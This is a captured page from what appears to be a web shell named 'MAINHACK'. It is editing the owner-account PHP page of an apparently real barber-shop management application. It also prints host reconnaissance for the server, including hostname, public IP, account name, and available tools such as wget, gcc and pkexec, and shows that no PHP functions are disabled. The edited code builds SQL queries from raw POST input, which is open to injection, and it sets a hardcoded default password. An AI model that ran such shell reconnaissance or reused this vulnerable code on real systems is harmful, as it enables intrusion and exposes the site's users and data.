[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: master-user.php
<?php include("includes/functions/functions.php");?> <?php include("db/db.php");?> <?php if(!isset($_SESSION['name_Xw211qAAsq4'])){ header('Location: index'); exit(); }else{ $pageTitle1 = 'Owners Account'; $shopname = $_SESSION['name_Xw211qAAsq4']; if(isset($_POST['del'])){ $addmin = mysqli_real_escape_string($new,$_POST['addmin']); $busname = mysqli_real_escape_string($new,$_POST['busname']); $DEL = mysqli_query($new,"DELETE FROM barber_admin WHERE admin_id = '$addmin'"); $DEL = mysqli_query($new,"DELETE FROM role_permissions WHERE business_name = '$busname'"); echo "<script>alert('Record successfully deleted');</script>"; } if(isset($_POST['edit'])){ $admin_id = filter_input(INPUT_POST, 'admin_id', FILTER_SANITIZE_STRING); $admin_id = htmlspecialchars($admin_id, ENT_QUOTES, 'UTF-8'); $status = filter_input(INPUT_POST, 'status', FILTER_SANITIZE_STRING); $status = htmlspecialchars($status, ENT_QUOTES, 'UTF-8'); $expiredte = filter_input(INPUT_POST, 'expiredte', FILTER_SANITIZE_STRING); $expiredte = htmlspecialchars($expiredte, ENT_QUOTES, 'UTF-8'); $stmt_update_service = $con->prepare("UPDATE barber_admin SET forgot_pass_expire_time = ? ,expired = ? WHERE admin_id = ?"); $stmt_update_service->execute(array($expiredte,$status,$admin_id)); echo "<script>window.location.href='master-user'</script>"; } if(isset($_POST['adduser'])){ $full_name = filter_input(INPUT_POST, 'full_name', FILTER_SANITIZE_STRING); $full_name = htmlspecialchars($full_name, ENT_QUOTES, 'UTF-8'); $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING); $username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8'); $business_name = filter_input(INPUT_POST, 'business_name', FILTER_SANITIZE_STRING); $business_name = htmlspecialchars($business_name, ENT_QUOTES, 'UTF-8'); $phone = filter_input(INPUT_POST, 'phone', FILTER_SANITIZE_STRING); $phone = htmlspecialchars($phone, ENT_QUOTES, 'UTF-8'); $location = filter_input(INPUT_POST, 'location', FILTER_SANITIZE_STRING); $location = htmlspecialchars($location, ENT_QUOTES, 'UTF-8'); $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING); $email = htmlspecialchars($email, ENT_QUOTES, 'UTF-8'); $account_status = filter_input(INPUT_POST, 'account_status', FILTER_SANITIZE_STRING); $account_status = htmlspecialchars($account_status, ENT_QUOTES, 'UTF-8'); $select = mysqli_query($new,"SELECT * FROM barber_admin WHERE email = '$email'"); $dbmail = mysqli_fetch_array($select); $mail = $dbmail['email']; $user = $dbmail['username']; //$phone_number_digits = preg_replace("/[^0-9]/","",$phone); if(!empty($full_name)){ $password = "12345.."; $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = md5($email . microtime()); $active = 1; $account_type = "Owner"; $expired = 'no'; $open_clode_time = '9:00 am - 9:00 pm'; $forgot_pass_expire_time = date("Y-m-d"); $convertedString = str_replace(' ', '', $business_name); $expiryDate = date('Y-m-d', strtotime($forgot_pass_expire_time . ' + 7 days')); $smt = mysqli_query($new,"INSERT INTO barber_admin(username,email,full_name,password,validation_code,active,forgot_pass_expire_time,phone,business_name,location,account_type,expired,open_clode_time,account_status,master_account) VALUES ('$username','$email','$full_name','$pass','$validation_code','$active','$expiryDate','$phone','$convertedString','$location','$account_type','$expired','$open_clode_time','$account_status','$convertedString')"); // $stmt = $con->prepare("insert into barber_admin (username,email,full_name,password,validation_code,active,forgot_pass_expire_time,phone,business_name,location,account_type,expired,open_clode_time,account_status,master_account) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); // $stmt->execute(array($username,$email,$full_name,$pass,$validation_code,$active,$expiryDate,$phone_number_digits,$convertedString,$location,$account_type,$expired,$open_clode_time,$account_status,$convertedString)); $checkbox_value = $_POST['checkbox_values']; $status = 0; $account_type2 = "Admin"; foreach ($checkbox_value as $value) { $query = "INSERT INTO role_permissions (page_name,status,business_name,type) VALUES ('$value','$status','$convertedString','$account_type2')"; $stmt = mysqli_query($new,$query); } // 0531798334 } } ?> <div id="layout-wrapper"> <div class="header-border"></div> <header id="page-topbar"> <?php include("includes/template/header.php");?> </header> <!-- Plugins css --> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <title><?php echo $shopname?> || <?php echo $pageTitle1;?></title> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <script src='https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js'></script> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css'/> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <div class="vertical-menu"> <?php include("includes/template/sidebar.php");?> </div> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <h4 class="mb-0 font-size-18">All Owner</h4> <div class="page-title-box d-flex align-items-center justify-content-between"> <button type="button" class="btn btn-primary waves-effect waves-light" data-toggle="modal" data-target=".bd-example-modal-lg">Add payment</button> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-body"> <table id="basic-datatable" class="table table-bordered"> <thead> <tr> <th>ID</th> <th>Full name</th> <th>Email </th> <th>Phone </th> <th>Business name</th> <th>Date registered</th> <th>Expired</th> <th>Action</th> </tr> </thead> <tbody> <?php $cont = 1; $type = "Owner"; $stmt = $con->prepare("SELECT * FROM barber_admin WHERE account_type = ? ORDER BY admin_id DESC"); $stmt->execute(array($type)); $rows_services = $stmt->fetchAll(); ?> <tr> <?php foreach($rows_services as $service){ ?> <td><?php echo $cont++;?></td> <td><?php echo $service['full_name'];?></td> <td><?php echo $service['email'];?></td> <td><?php echo $service['phone'];?></td> <td><?php echo $service['business_name'];?></td> <td><?php echo $service['forgot_pass_expire_time'];?></td> <td><?php echo $service['expired'];?></td> <td> <?php $edit_data = "edit_".$service["admin_id"];?> <?php $delete_data = "delete_".$service["admin_id"];?> <li class="list-inline-item" data-toggle="tooltip" title="Edit"> <a href="#" data-toggle="modal" data-target="#<?php echo $edit_data; ?>" data-placement="top"><i class="fa fa-edit"></i></a> </li> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top"><i class="fa fa-trash-alt" style="color:red"></i></a> </li> <ul> <!-- EDIT Modal --> <div class="modal fade" id="<?php echo $edit_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $edit_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Account status</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="POST"> <div class="form-group"> <label for="category_name">Change status</label> <br /> <input type="hidden" name="admin_id" value="<?php echo $service["admin_id"]; ?>"> <select class="form-control" name="status" required> <option value="">Select option</option> <option value="yes">Expired</option> <option value="no">Active</option> <option value="block">Block</option> </select> </div> <div class="form-group"> <input type="date" name="expiredte" class="form-control"> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="edit" class="btn btn-success edit_category_bttn">Save</button> </form> </div> </div> </div> </div> </li> </ul> </td> </tr> <div class="modal fade" id="<?php echo $delete_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $delete_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Delete Product sales</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="POST"> Are you sure you want to delete this Product sales? </div> <input type="hidden" name="addmin" value="<?php echo $service["admin_id"]; ?>"> <input type="hidden" name="busname" value="<?php echo $service['business_name'];?>"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="del" class="btn btn-success">Delete</button> </form> </div> </div> </div> </div> <?php };?> </tbody> </table> </div> <!-- end card body--> </div> <!-- end card --> </div><!-- end col--> </div> <!-- end row--> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/footer.php");?> </div> <!-- end main content--> </div> <!-- Overlay--> <div class="menu-overlay"></div> <?php include("includes/modals/ExpensesModal.php");?> <!-- third party js --> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/buttons.html5.min.js"></script> <script src="plugins/datatables/buttons.flash.min.js"></script> <script src="plugins/datatables/buttons.print.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <!-- third party js ends --> <!-- Datatables init --> <script src="assets/pages/datatables-demo.js"></script> <!-- App js --> <script src="assets/js/theme.js"></script> </body> </html> <?php }?> <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="myLargeModalLabel">Add New user</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body" data-ng-form="newcustomer"> <div class="setting-steps"> <form method="POST"> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Full name<span class="req">*</span></label> <input type="text" class="form-control" id="customerName" name="full_name" required > </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Username</label> <input type="text" class="form-control" id="lastName" name="username" required> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Outlet name</label> <input type="text" class="form-control" id="validationTooltip03" name="business_name" required> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Business number</label> <div class="input-group date dobWrap cal-container"> <input type="text" class="form-control" name="phone"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInput" class="form-label">Email ID</label> <input type="email" class="form-control" id="email" name="email"> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Location</label> <div class="input-group date dobWrap cal-container"> <input type="text" class="form-control" name="location"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="category_name">Plan</label> <select class="form-control" name="account_status" required> <option value="">Select option</option> <option value="Essential">Essential</option> <option value="Deluxe">Deluxe</option> <option value="Trial">Trial</option> </select> </div> </div> </div> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck1" value="Dashboard Analytics"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck2" value="Service Category"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck3" value="Service"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck4" value="In-House Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck5" value="Online Appointments"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck6" value="Suppliers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck7" value="Product Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck8" value="POS"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck9" value="Product Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck10" value="Product Out of Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck11" value="Add New Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck12" value="Vendors"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck13" value="Expenses"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck14" value="Employee"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck15" value="Payroll"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck16" value="Manage Users"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck17" value="Manage Users"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck18" value="Customers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck19" value="Sales Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck20" value="Commission Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck21" value="Expenses Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck22" value="Customers Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck23" value="Products Report"> <button type="submit" name="adduser" class="btn btn-success">Submit</button> </form> </div> </div> </div> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002